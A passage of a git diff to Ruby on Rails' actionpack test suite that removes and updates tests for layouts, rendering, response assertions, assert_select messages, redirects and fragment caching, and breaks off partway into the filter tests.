-
-    class WithFalseLayout < Base
-      layout false
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello false!")
-      end
-    end
-
-    class WithNilLayout < Base
-      layout nil
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello nil!")
-      end
-    end
-
-    class WithOnlyConditional < WithStringImpliedChild
-      layout "overwrite", :only => :show
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello index!")
-      end
-
-      def show
-        render :template => ActionView::Template::Text.new("Hello show!")
-      end
-    end
-
-    class WithExceptConditional < WithStringImpliedChild
-      layout "overwrite", :except => :show
-
-      def index
-        render :template => ActionView::Template::Text.new("Hello index!")
-      end
-
-      def show
-        render :template => ActionView::Template::Text.new("Hello show!")
-      end
-    end
-
-    class TestBase < ActiveSupport::TestCase
-      test "when no layout is specified, and no default is available, render without a layout" do
-        controller = Blank.new
-        controller.process(:index)
-        assert_equal "Hello blank!", controller.response_body
-      end
-
-      test "when layout is specified as a string, render with that layout" do
-        controller = WithString.new
-        controller.process(:index)
-        assert_equal "With String Hello string!", controller.response_body
-      end
-
-      test "when layout is overwriten by :default in render, render default layout" do
-        controller = WithString.new
-        controller.process(:overwrite_default)
-        assert_equal "With String Hello string!", controller.response_body
-      end
-
-      test "when layout is overwriten by string in render, render new layout" do
-        controller = WithString.new
-        controller.process(:overwrite_string)
-        assert_equal "Overwrite Hello string!", controller.response_body
-      end
-
-      test "when layout is overwriten by false in render, render no layout" do
-        controller = WithString.new
-        controller.process(:overwrite_false)
-        assert_equal "Hello string!", controller.response_body
-      end
-
-      test "when text is rendered, render no layout" do
-        controller = WithString.new
-        controller.process(:overwrite_skip)
-        assert_equal "Hello text!", controller.response_body
-      end
-
-      test "when layout is specified as a string, but the layout is missing, raise an exception" do
-        assert_raises(ActionView::MissingTemplate) { WithMissingLayout.new.process(:index) }
-      end
-
-      test "when layout is specified as false, do not use a layout" do
-        controller = WithFalseLayout.new
-        controller.process(:index)
-        assert_equal "Hello false!", controller.response_body
-      end
-
-      test "when layout is specified as nil, do not use a layout" do
-        controller = WithNilLayout.new
-        controller.process(:index)
-        assert_equal "Hello nil!", controller.response_body
-      end
-
-      test "when layout is specified as a proc, do not leak any methods into controller's action_methods" do
-        assert_equal Set.new(['index']), WithProc.action_methods
-      end
-
-      test "when layout is specified as a proc, call it and use the layout returned" do
-        controller = WithProc.new
-        controller.process(:index)
-        assert_equal "Overwrite Hello proc!", controller.response_body
-      end
-
-      test "when layout is specified as a proc and the proc retuns nil, don't use a layout" do
-        controller = WithProcReturningNil.new
-        controller.process(:index)
-        assert_equal "Hello nil!", controller.response_body
-      end
-
-      test "when layout is specified as a proc without parameters it works just the same" do
-        controller = WithZeroArityProc.new
-        controller.process(:index)
-        assert_equal "Overwrite Hello zero arity proc!", controller.response_body
-      end
-
-      test "when layout is specified as a proc without parameters the block is evaluated in the context of an instance" do
-        controller = WithProcInContextOfInstance.new
-        controller.process(:index)
-        assert_equal "Overwrite Hello again zero arity proc!", controller.response_body
-      end
-
-      test "when layout is specified as a symbol, call the requested method and use the layout returned" do
-        controller = WithSymbol.new
-        controller.process(:index)
-        assert_equal "Overwrite Hello symbol!", controller.response_body
-      end
-
-      test "when layout is specified as a symbol and the method returns nil, don't use a layout" do
-        controller = WithSymbolReturningNil.new
-        controller.process(:index)
-        assert_equal "Hello nilz!", controller.response_body
-      end
-
-      test "when the layout is specified as a symbol and the method doesn't exist, raise an exception" do
-        assert_raises(NameError) { WithSymbolAndNoMethod.new.process(:index) }
-      end
-
-      test "when the layout is specified as a symbol and the method returns something besides a string/false/nil, raise an exception" do
-        assert_raises(ArgumentError) { WithSymbolReturningObj.new.process(:index) }
-      end
-
-      test "when a child controller does not have a layout, use the parent controller layout" do
-        controller = WithStringChild.new
-        controller.process(:index)
-        assert_equal "With String Hello string!", controller.response_body
-      end
-
-      test "when a child controller has specified a layout, use that layout and not the parent controller layout" do
-        controller = WithStringOverriddenChild.new
-        controller.process(:index)
-        assert_equal "With Override Hello string!", controller.response_body
-      end
-
-      test "when a child controller has an implied layout, use that layout and not the parent controller layout" do
-        controller = WithStringImpliedChild.new
-        controller.process(:index)
-        assert_equal "With Implied Hello string!", controller.response_body
-      end
-
-      test "when a grandchild has no layout specified, the child has an implied layout, and the " \
-        "parent has specified a layout, use the child controller layout" do
-          controller = WithChildOfImplied.new
-          controller.process(:index)
-          assert_equal "With Implied Hello string!", controller.response_body
-      end
-
-      test "when a grandchild has nil layout specified, the child has an implied layout, and the " \
-        "parent has specified a layout, use the child controller layout" do
-          controller = WithGrandChildOfImplied.new
-          controller.process(:index)
-          assert_equal "With Grand Child Hello string!", controller.response_body
-      end
-
-      test "raises an exception when specifying layout true" do
-        assert_raises ArgumentError do
-          Object.class_eval do
-            class ::BadFailLayout < AbstractControllerTests::Layouts::Base
-              layout true
-            end
-          end
-        end
-      end
-
-      test "when specify an :only option which match current action name" do
-        controller = WithOnlyConditional.new
-        controller.process(:show)
-        assert_equal "Overwrite Hello show!", controller.response_body
-      end
-
-      test "when specify an :only option which does not match current action name" do
-        controller = WithOnlyConditional.new
-        controller.process(:index)
-        assert_equal "With Implied Hello index!", controller.response_body
-      end
-
-      test "when specify an :except option which match current action name" do
-        controller = WithExceptConditional.new
-        controller.process(:show)
-        assert_equal "With Implied Hello show!", controller.response_body
-      end
-
-      test "when specify an :except option which does not match current action name" do
-        controller = WithExceptConditional.new
-        controller.process(:index)
-        assert_equal "Overwrite Hello index!", controller.response_body
-      end
-
-      test "layout for anonymous controller" do
-        klass = Class.new(WithString) do
-          def index
-            render :text => 'index', :layout => true
-          end
-        end
-
-        controller = klass.new
-        controller.process(:index)
-        assert_equal "With String index", controller.response_body
-      end
-    end
-  end
-end
diff --git a/actionpack/test/abstract/render_test.rb b/actionpack/test/abstract/render_test.rb
deleted file mode 100644
index b9293d1..0000000
--- a/actionpack/test/abstract/render_test.rb
+++ /dev/null
@@ -1,102 +0,0 @@
-require 'abstract_unit'
-
-module AbstractController
-  module Testing
-
-    class ControllerRenderer < AbstractController::Base
-      include AbstractController::Rendering
-
-      def _prefixes
-        %w[renderer]
-      end
-
-      self.view_paths = [ActionView::FixtureResolver.new(
-        "template.erb" => "With Template",
-        "renderer/default.erb" => "With Default",
-        "renderer/string.erb" => "With String",
-        "renderer/symbol.erb" => "With Symbol",
-        "string/with_path.erb" => "With String With Path",
-        "some/file.erb" => "With File"
-      )]
-
-      def template
-        render :template => "template"
-      end
-
-      def file
-        render :file => "some/file"
-      end
-
-      def inline
-        render :inline => "With <%= :Inline %>"
-      end
-
-      def text
-        render :text => "With Text"
-      end
-
-      def default
-        render
-      end
-
-      def string
-        render "string"
-      end
-
-      def string_with_path
-        render "string/with_path"
-      end
-
-      def symbol
-        render :symbol
-      end
-    end
-
-    class TestRenderer < ActiveSupport::TestCase
-
-      def setup
-        @controller = ControllerRenderer.new
-      end
-
-      def test_render_template
-        @controller.process(:template)
-        assert_equal "With Template", @controller.response_body
-      end
-
-      def test_render_file
-        @controller.process(:file)
-        assert_equal "With File", @controller.response_body
-      end
-
-      def test_render_inline
-        @controller.process(:inline)
-        assert_equal "With Inline", @controller.response_body
-      end
-
-      def test_render_text
-        @controller.process(:text)
-        assert_equal "With Text", @controller.response_body
-      end
-
-      def test_render_default
-        @controller.process(:default)
-        assert_equal "With Default", @controller.response_body
-      end
-
-      def test_render_string
-        @controller.process(:string)
-        assert_equal "With String", @controller.response_body
-      end
-
-      def test_render_symbol
-        @controller.process(:symbol)
-        assert_equal "With Symbol", @controller.response_body
-      end
-
-      def test_render_string_with_path
-        @controller.process(:string_with_path)
-        assert_equal "With String With Path", @controller.response_body
-      end
-    end
-  end
-end
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
index 8213997..03a4741 100644
--- a/actionpack/test/abstract_unit.rb
+++ b/actionpack/test/abstract_unit.rb
@@ -43,6 +43,9 @@ Thread.abort_on_exception = true
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
 # Register danish language for testing
 I18n.backend.store_translations 'da', {}
 I18n.backend.store_translations 'pt-BR', {}
@@ -64,28 +67,6 @@ module RackTestUtils
   extend self
 end
 
-module RenderERBUtils
-  def view
-    @view ||= begin
-      path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
-      view_paths = ActionView::PathSet.new([path])
-      ActionView::Base.new(view_paths)
-    end
-  end
-
-  def render_erb(string)
-    @virtual_path = nil
-
-    template = ActionView::Template.new(
-      string.strip,
-      "test template",
-      ActionView::Template::Handlers::ERB,
-      {})
-
-    template.render(self, {}).strip
-  end
-end
-
 SharedTestRoutes = ActionDispatch::Routing::RouteSet.new
 
 module ActionDispatch
@@ -290,15 +271,8 @@ module ActionController
   end
 end
 
-class ::ApplicationController < ActionController::Base
-end
 
-module ActionView
-  class TestCase
-    # Must repeat the setup because AV::TestCase is a duplication
-    # of AC::TestCase
-    include ActionDispatch::SharedRoutes
-  end
+class ::ApplicationController < ActionController::Base
 end
 
 class Workshop
@@ -360,7 +334,6 @@ class ThreadsController  < ResourcesController; end
 class MessagesController < ResourcesController; end
 class CommentsController < ResourcesController; end
 class ReviewsController < ResourcesController; end
-class AuthorsController < ResourcesController; end
 class LogosController < ResourcesController; end
 
 class AccountsController <  ResourcesController; end
@@ -371,8 +344,6 @@ class PreferencesController < ResourcesController; end
 
 module Backoffice
   class ProductsController < ResourcesController; end
-  class TagsController < ResourcesController; end
-  class ManufacturersController < ResourcesController; end
   class ImagesController < ResourcesController; end
 
   module Admin
@@ -380,3 +351,12 @@ module Backoffice
     class ImagesController < ResourcesController; end
   end
 end
+
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+  skip message if RUBY_ENGINE == 'rbx'
+end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+  skip message if defined?(JRUBY_VERSION)
+end
diff --git a/actionpack/test/activerecord/form_helper_activerecord_test.rb b/actionpack/test/activerecord/form_helper_activerecord_test.rb
deleted file mode 100644
index 2e302c6..0000000
--- a/actionpack/test/activerecord/form_helper_activerecord_test.rb
+++ /dev/null
@@ -1,91 +0,0 @@
-require 'active_record_unit'
-require 'fixtures/project'
-require 'fixtures/developer'
-
-class FormHelperActiveRecordTest < ActionView::TestCase
-  tests ActionView::Helpers::FormHelper
-
-  def form_for(*)
-    @output_buffer = super
-  end
-
-  def setup
-    @developer = Developer.new
-    @developer.id   = 123
-    @developer.name = "developer #123"
-
-    @project = Project.new
-    @project.id   = 321
-    @project.name = "project #321"
-    @project.save
-
-    @developer.projects << @project
-    @developer.save
-  end
-
-  def teardown
-    Project.delete(321)
-    Developer.delete(123)
-  end
-
-  Routes = ActionDispatch::Routing::RouteSet.new
-  Routes.draw do
-    resources :developers do
-      resources :projects
-    end
-  end
-
-  def _routes
-    Routes
-  end
-
-  include Routes.url_helpers
-
-  def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
-    form_for(@developer) do |f|
-      concat f.fields_for(:projects, @developer.projects.first, :child_index => 'abc') { |cf|
-        concat cf.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/developers/123', 'edit_developer_123', 'edit_developer', :method => 'patch') do
-      '<input id="developer_projects_attributes_abc_name" name="developer[projects_attributes][abc][name]" type="text" value="project #321" />' +
-          '<input id="developer_projects_attributes_abc_id" name="developer[projects_attributes][abc][id]" type="hidden" value="321" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  protected
-
-  def hidden_fields(method = nil)
-    txt =  %{<div style="margin:0;padding:0;display:inline">}
-    txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
-    if method && !%w(get post).include?(method.to_s)
-      txt << %{<input name="_method" type="hidden" value="#{method}" />}
-    end
-    txt << %{</div>}
-  end
-
-  def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
-    txt =  %{<form accept-charset="UTF-8" action="#{action}"}
-    txt << %{ enctype="multipart/form-data"} if multipart
-    txt << %{ data-remote="true"} if remote
-    txt << %{ class="#{html_class}"} if html_class
-    txt << %{ id="#{id}"} if id
-    method = method.to_s == "get" ? "get" : "post"
-    txt << %{ method="#{method}">}
-  end
-
-  def whole_form(action = "/", id = nil, html_class = nil, options = nil)
-    contents = block_given? ? yield : ""
-
-    if options.is_a?(Hash)
-      method, remote, multipart = options.values_at(:method, :remote, :multipart)
-    else
-      method = options
-    end
-
-    form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
-  end
-end
\ No newline at end of file
diff --git a/actionpack/test/assertions/response_assertions_test.rb b/actionpack/test/assertions/response_assertions_test.rb
index ca1d587..5e64cae 100644
--- a/actionpack/test/assertions/response_assertions_test.rb
+++ b/actionpack/test/assertions/response_assertions_test.rb
@@ -19,7 +19,7 @@ module ActionDispatch
           @response = FakeResponse.new sym
           assert_response sym
 
-          assert_raises(MiniTest::Assertion) {
+          assert_raises(Minitest::Assertion) {
             assert_response :unauthorized
           }
         end
@@ -29,11 +29,11 @@ module ActionDispatch
         @response = FakeResponse.new 400
         assert_response 400
 
-        assert_raises(MiniTest::Assertion) {
+        assert_raises(Minitest::Assertion) {
           assert_response :unauthorized
         }
 
-        assert_raises(MiniTest::Assertion) {
+        assert_raises(Minitest::Assertion) {
           assert_response 500
         }
       end
@@ -42,14 +42,22 @@ module ActionDispatch
         @response = FakeResponse.new 401
         assert_response :unauthorized
 
-        assert_raises(MiniTest::Assertion) {
+        assert_raises(Minitest::Assertion) {
           assert_response :ok
         }
 
-        assert_raises(MiniTest::Assertion) {
+        assert_raises(Minitest::Assertion) {
           assert_response :success
         }
       end
+
+      def test_assert_response_sym_typo
+        @response = FakeResponse.new 200
+
+        assert_raises(ArgumentError) {
+          assert_response :succezz
+        }
+      end
     end
   end
 end
diff --git a/actionpack/test/controller/action_pack_assertions_test.rb b/actionpack/test/controller/action_pack_assertions_test.rb
index 22a410d..b6b5a21 100644
--- a/actionpack/test/controller/action_pack_assertions_test.rb
+++ b/actionpack/test/controller/action_pack_assertions_test.rb
@@ -39,6 +39,8 @@ class ActionPackAssertionsController < ActionController::Base
 
   def redirect_external() redirect_to "http://www.rubyonrails.org"; end
 
+  def redirect_external_protocol_relative() redirect_to "//www.rubyonrails.org"; end
+
   def response404() head '404 AWOL' end
 
   def response500() head '500 Sorry' end
@@ -258,6 +260,19 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
     end
   end
 
+  def test_assert_redirect_failure_message_with_protocol_relative_url
+    begin
+      process :redirect_external_protocol_relative
+      assert_redirected_to "/foo"
+    rescue ActiveSupport::TestCase::Assertion => ex
+      assert_no_match(
+        /#{request.protocol}#{request.host}\/\/www.rubyonrails.org/,
+        ex.message,
+        'protocol relative url was incorrectly normalized'
+      )
+    end
+  end
+
   def test_template_objects_exist
     process :assign_this
     assert !@controller.instance_variable_defined?(:"@hi")
@@ -309,6 +324,9 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
 
     process :redirect_external
     assert_equal 'http://www.rubyonrails.org', @response.redirect_url
+
+    process :redirect_external_protocol_relative
+    assert_equal '//www.rubyonrails.org', @response.redirect_url
   end
 
   def test_no_redirect_url
@@ -426,22 +444,18 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
 
   def test_assert_response_uses_exception_message
     @controller = AssertResponseWithUnexpectedErrorController.new
-    get :index
+    e = assert_raise RuntimeError, 'Expected non-success response' do
+      get :index
+    end
     assert_response :success
-    flunk 'Expected non-success response'
-  rescue RuntimeError => e
-    assert e.message.include?('FAIL')
+    assert_includes 'FAIL', e.message
   end
 
   def test_assert_response_failure_response_with_no_exception
     @controller = AssertResponseWithUnexpectedErrorController.new
     get :show
-    assert_response :success
-    flunk 'Expected non-success response'
-  rescue ActiveSupport::TestCase::Assertion
-    # success
-  rescue
-    flunk "assert_response failed to handle failure response with missing, but optional, exception."
+    assert_response 500
+    assert_equal 'Boom', response.body
   end
 end
 
diff --git a/actionpack/test/controller/assert_select_test.rb b/actionpack/test/controller/assert_select_test.rb
index 3d667f0..580604d 100644
--- a/actionpack/test/controller/assert_select_test.rb
+++ b/actionpack/test/controller/assert_select_test.rb
@@ -8,6 +8,9 @@ require 'abstract_unit'
 require 'controller/fake_controllers'
 
 require 'action_mailer'
+require 'action_view'
+
+ActionMailer::Base.send(:include, ActionView::Layouts)
 ActionMailer::Base.view_paths = FIXTURE_LOAD_PATH
 
 class AssertSelectTest < ActionController::TestCase
@@ -76,13 +79,13 @@ class AssertSelectTest < ActionController::TestCase
   def test_assert_select
     render_html %Q{<div id="1"></div><div id="2"></div>}
     assert_select "div", 2
-    assert_failure(/Expected at least 1 element matching \"p\", found 0/) { assert_select "p" }
+    assert_failure(/\AExpected at least 1 element matching \"p\", found 0\.$/) { assert_select "p" }
   end
 
   def test_equality_integer
     render_html %Q{<div id="1"></div><div id="2"></div>}
-    assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) { assert_select "div", 3 }
-    assert_failure(/Expected exactly 0 elements matching \"div\", found 2/) { assert_select "div", 0 }
+    assert_failure(/\AExpected exactly 3 elements matching \"div\", found 2\.$/) { assert_select "div", 3 }
+    assert_failure(/\AExpected exactly 0 elements matching \"div\", found 2\.$/) { assert_select "div", 0 }
   end
 
   def test_equality_true_false
@@ -97,13 +100,14 @@ class AssertSelectTest < ActionController::TestCase
 
   def test_equality_false_message
     render_html %Q{<div id="1"></div><div id="2"></div>}
-    assert_failure(/Expected exactly 0 elements matching \"div\", found 2/) { assert_select "div", false }
+    assert_failure(/\AExpected exactly 0 elements matching \"div\", found 2\.$/) { assert_select "div", false }
   end
 
   def test_equality_string_and_regexp
     render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
     assert_nothing_raised    { assert_select "div", "foo" }
     assert_raise(Assertion) { assert_select "div", "bar" }
+    assert_failure(/\A<bar> expected but was\n<foo>\.$/) { assert_select "div", "bar" }
     assert_nothing_raised    { assert_select "div", :text=>"foo" }
     assert_raise(Assertion) { assert_select "div", :text=>"bar" }
     assert_nothing_raised    { assert_select "div", /(foo|bar)/ }
@@ -121,6 +125,7 @@ class AssertSelectTest < ActionController::TestCase
     assert_raise(Assertion) { assert_select "p", html }
     assert_nothing_raised    { assert_select "p", :html=>html }
     assert_raise(Assertion) { assert_select "p", :html=>text }
+    assert_failure(/\A<#{text}> expected but was\n<#{html}>\.$/) { assert_select "p", :html=>text }
     # No stripping for pre.
     render_html %Q{<pre>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</pre>}
     text = "\n\"This is not a big problem,\" he said.\n"
@@ -141,29 +146,29 @@ class AssertSelectTest < ActionController::TestCase
   def test_counts
     render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
     assert_nothing_raised               { assert_select "div", 2 }
-    assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) do
+    assert_failure(/\AExpected exactly 3 elements matching \"div\", found 2\.$/) do
       assert_select "div", 3
     end
     assert_nothing_raised               { assert_select "div", 1..2 }
-    assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
+    assert_failure(/\AExpected between 3 and 4 elements matching \"div\", found 2\.$/) do
       assert_select "div", 3..4
     end
     assert_nothing_raised               { assert_select "div", :count=>2 }
-    assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) do
+    assert_failure(/\AExpected exactly 3 elements matching \"div\", found 2\.$/) do
       assert_select "div", :count=>3
     end
     assert_nothing_raised               { assert_select "div", :minimum=>1 }
     assert_nothing_raised               { assert_select "div", :minimum=>2 }
-    assert_failure(/Expected at least 3 elements matching \"div\", found 2/) do
+    assert_failure(/\AExpected at least 3 elements matching \"div\", found 2\.$/) do
       assert_select "div", :minimum=>3
     end
     assert_nothing_raised               { assert_select "div", :maximum=>2 }
     assert_nothing_raised               { assert_select "div", :maximum=>3 }
-    assert_failure(/Expected at most 1 element matching \"div\", found 2/) do
+    assert_failure(/\AExpected at most 1 element matching \"div\", found 2\.$/) do
       assert_select "div", :maximum=>1
     end
     assert_nothing_raised               { assert_select "div", :minimum=>1, :maximum=>2 }
-    assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
+    assert_failure(/\AExpected between 3 and 4 elements matching \"div\", found 2\.$/) do
       assert_select "div", :minimum=>3, :maximum=>4
     end
   end
@@ -201,7 +206,7 @@ class AssertSelectTest < ActionController::TestCase
       end
     end
 
-    assert_failure(/Expected at least 1 element matching \"#4\", found 0\./) do
+    assert_failure(/\AExpected at least 1 element matching \"#4\", found 0\.$/) do
       assert_select "div" do
         assert_select "#4"
       end
diff --git a/actionpack/test/controller/base_test.rb b/actionpack/test/controller/base_test.rb
index d4f18d5..b2bfdae 100644
--- a/actionpack/test/controller/base_test.rb
+++ b/actionpack/test/controller/base_test.rb
@@ -61,10 +61,7 @@ class UrlOptionsController < ActionController::Base
   end
 end
 
-class RecordIdentifierController < ActionController::Base
-end
-
-class RecordIdentifierWithoutDeprecationController < ActionController::Base
+class RecordIdentifierIncludedController < ActionController::Base
   include ActionView::RecordIdentifier
 end
 
@@ -88,43 +85,20 @@ class ControllerClassTests < ActiveSupport::TestCase
     assert_equal 'contained_empty', Submodule::ContainedEmptyController.controller_name
   end
 
-  def test_record_identifier
-    assert_respond_to RecordIdentifierController.new, :dom_id
-    assert_respond_to RecordIdentifierController.new, :dom_class
-  end
-
-  def test_record_identifier_is_deprecated
-    record = Comment.new
-    record.save
-
-    dom_id = nil
-    assert_deprecated 'dom_id method will no longer' do
-      dom_id = RecordIdentifierController.new.dom_id(record)
-    end
-
-    assert_equal 'comment_1', dom_id
-
-    dom_class = nil
-    assert_deprecated 'dom_class method will no longer' do
-      dom_class = RecordIdentifierController.new.dom_class(record)
-    end
-    assert_equal 'comment', dom_class
-  end
-
   def test_no_deprecation_when_action_view_record_identifier_is_included
     record = Comment.new
     record.save
 
     dom_id = nil
     assert_not_deprecated do
-      dom_id = RecordIdentifierWithoutDeprecationController.new.dom_id(record)
+      dom_id = RecordIdentifierIncludedController.new.dom_id(record)
     end
 
     assert_equal 'comment_1', dom_id
 
     dom_class = nil
     assert_not_deprecated do
-      dom_class = RecordIdentifierWithoutDeprecationController.new.dom_class(record)
+      dom_class = RecordIdentifierIncludedController.new.dom_class(record)
     end
     assert_equal 'comment', dom_class
   end
diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb
index ca86837..58a86ce 100644
--- a/actionpack/test/controller/caching_test.rb
+++ b/actionpack/test/controller/caching_test.rb
@@ -1,6 +1,5 @@
 require 'fileutils'
 require 'abstract_unit'
-require 'active_record_unit'
 
 CACHE_DIR = 'test_cache'
 # Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
@@ -21,7 +20,7 @@ class FragmentCachingMetalTest < ActionController::TestCase
     @controller = FragmentCachingMetalTestController.new
     @controller.perform_caching = true
     @controller.cache_store = @store
-    @params = { controller: 'posts', action: 'index'}
+    @params = { controller: 'posts', action: 'index' }
     @request = ActionController::TestRequest.new
     @response = ActionController::TestResponse.new
     @controller.params = @params
@@ -41,7 +40,7 @@ class CachingController < ActionController::Base
 end
 
 class FragmentCachingTestController < CachingController
-  def some_action; end;
+  def some_action; end
 end
 
 class FragmentCachingTest < ActionController::TestCase
@@ -165,6 +164,13 @@ class FunctionalCachingController < CachingController
     end
   end
 
+  def formatted_fragment_cached_with_variant
+    respond_to do |format|
+      format.html.phone
+      format.html
+    end
+  end
+
   def fragment_cached_without_digest
   end
 end
@@ -191,7 +197,7 @@ CACHED
     assert_equal expected_body, @response.body
 
     assert_equal "This bit's fragment cached",
-      @store.read("views/test.host/functional_caching/fragment_cached/#{template_digest("functional_caching/fragment_cached", "html")}")
+      @store.read("views/test.host/functional_caching/fragment_cached/#{template_digest("functional_caching/fragment_cached")}")
   end
 
   def test_fragment_caching_in_partials
@@ -200,7 +206,7 @@ CACHED
     assert_match(/Old fragment caching in a partial/, @response.body)
 
     assert_match("Old fragment caching in a partial",
-      @store.read("views/test.host/functional_caching/html_fragment_cached_with_partial/#{template_digest("functional_caching/_partial", "html")}"))
+      @store.read("views/test.host/functional_caching/html_fragment_cached_with_partial/#{template_digest("functional_caching/_partial")}"))
   end
 
   def test_skipping_fragment_cache_digesting
@@ -218,7 +224,7 @@ CACHED
     assert_match(/Some inline content/, @response.body)
     assert_match(/Some cached content/, @response.body)
     assert_match("Some cached content",
-      @store.read("views/test.host/functional_caching/inline_fragment_cached/#{template_digest("functional_caching/inline_fragment_cached", "html")}"))
+      @store.read("views/test.host/functional_caching/inline_fragment_cached/#{template_digest("functional_caching/inline_fragment_cached")}"))
   end
 
   def test_html_formatted_fragment_caching
@@ -229,7 +235,7 @@ CACHED
     assert_equal expected_body, @response.body
 
     assert_equal "<p>ERB</p>",
-      @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached", "html")}")
+      @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached")}")
   end
 
   def test_xml_formatted_fragment_caching
@@ -240,12 +246,26 @@ CACHED
     assert_equal expected_body, @response.body
 
     assert_equal "  <p>Builder</p>\n",
-      @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached", "xml")}")
+      @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached")}")
+  end
+
+
+  def test_fragment_caching_with_variant
+    @request.variant = :phone
+
+    get :formatted_fragment_cached_with_variant, :format => "html"
+    assert_response :success
+    expected_body = "<body>\n<p>PHONE</p>\n</body>\n"
+
+    assert_equal expected_body, @response.body
+
+    assert_equal "<p>PHONE</p>",
+      @store.read("views/test.host/functional_caching/formatted_fragment_cached_with_variant/#{template_digest("functional_caching/formatted_fragment_cached_with_variant")}")
   end
 
   private
-    def template_digest(name, format)
-      ActionView::Digestor.digest(name, format, @controller.lookup_context)
+    def template_digest(name)
+      ActionView::Digestor.digest(name: name, finder: @controller.lookup_context)
     end
 end
 
@@ -313,18 +333,3 @@ class ViewCacheDependencyTest < ActionController::TestCase
     assert_equal %w(trombone flute), HasDependenciesController.new.view_cache_dependencies
   end
 end
-
-class DeprecatedPageCacheExtensionTest < ActiveSupport::TestCase
-  def test_page_cache_extension_binds_default_static_extension
-    deprecation_behavior = ActiveSupport::Deprecation.behavior
-    ActiveSupport::Deprecation.behavior = :silence
-    old_extension = ActionController::Base.default_static_extension
-
-    ActionController::Base.page_cache_extension = '.rss'
-
-    assert_equal '.rss', ActionController::Base.default_static_extension
-  ensure
-    ActiveSupport::Deprecation.behavior = deprecation_behavior
-    ActionController::Base.default_static_extension = old_extension
-  end
-end
diff --git a/actionpack/test/controller/capture_test.rb b/actionpack/test/controller/capture_test.rb
deleted file mode 100644
index 7226315..0000000
--- a/actionpack/test/controller/capture_test.rb
+++ /dev/null
@@ -1,79 +0,0 @@
-require 'abstract_unit'
-require 'active_support/logger'
-
-class CaptureController < ActionController::Base
-  def self.controller_name; "test"; end
-  def self.controller_path; "test"; end
-
-  def content_for
-    @title = nil
-    render :layout => "talk_from_action"
-  end
-
-  def content_for_with_parameter
-    @title = nil
-    render :layout => "talk_from_action"
-  end
-
-  def content_for_concatenated
-    @title = nil
-    render :layout => "talk_from_action"
-  end
-
-  def non_erb_block_content_for
-    @title = nil
-    render :layout => "talk_from_action"
-  end
-
-  def proper_block_detection
-    @todo = "some todo"
-  end
-end
-
-class CaptureTest < ActionController::TestCase
-  tests CaptureController
-
-  def setup
-    super
-    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
-    # a more accurate simulation of what happens in "real life".
-    @controller.logger = ActiveSupport::Logger.new(nil)
-
-    @request.host = "www.nextangle.com"
-  end
-
-  def test_simple_capture
-    get :capturing
-    assert_equal "Dreamy days", @response.body.strip
-  end
-
-  def test_content_for
-    get :content_for
-    assert_equal expected_content_for_output, @response.body
-  end
-
-  def test_should_concatentate_content_for
-    get :content_for_concatenated
-    assert_equal expected_content_for_output, @response.body
-  end
-
-  def test_should_set_content_for_with_parameter
-    get :content_for_with_parameter
-    assert_equal expected_content_for_output, @response.body
-  end
-
-  def test_non_erb_block_content_for
-    get :non_erb_block_content_for
-    assert_equal expected_content_for_output, @response.body
-  end
-
-  def test_proper_block_detection
-    get :proper_block_detection
-    assert_equal "some todo", @response.body
-  end
-
-  private
-    def expected_content_for_output
-      "<title>Putting stuff in the title!</title>\nGreat stuff!"
-    end
-end
diff --git a/actionpack/test/controller/filters_test.rb b/actionpack/test/controller/filters_test.rb
index 586e5e3..c87494a 100644
--- a/actionpack/test/controller/filters_test.rb
+++ b/actionpack/test/controller/filters_test.rb
@@ -10,7 +10,7 @@ class ActionController::Base
 
     def before_filters
       filters = _process_action_callbacks.select { |c| c.kind == :before }
-      filters.map! { |c| c.instance_variable_get(:@raw_filter) }
+      filters.map! { |c| c.raw_filter }
     end
   end
 
@@ -217,6 +217,18 @@ class FilterTest < ActionController::TestCase
     before_filter :clean_up_tmp, :if => Proc.new { |c| false }
   end
 
+  class ConditionalOptionsSkipFilter < ConditionalFilterController
+    before_filter :ensure_login
+    before_filter :clean_up_tmp
+
+    skip_before_filter :ensure_login, if: -> { false }
+    skip_before_filter :clean_up_tmp, if: -> { true }
+  end
+
+  class ClassController < ConditionalFilterController
+    before_filter ConditionalClassFilter
+  end
+
   class PrependingController < TestController
     prepend_before_filter :wonderful_life
     # skip_before_filter :fire_flash
@@ -597,6 +609,23 @@ class FilterTest < ActionController::TestCase
     assert_equal %w( ensure_login ), assigns["ran_filter"]
   end
 
+  def test_running_conditional_skip_options
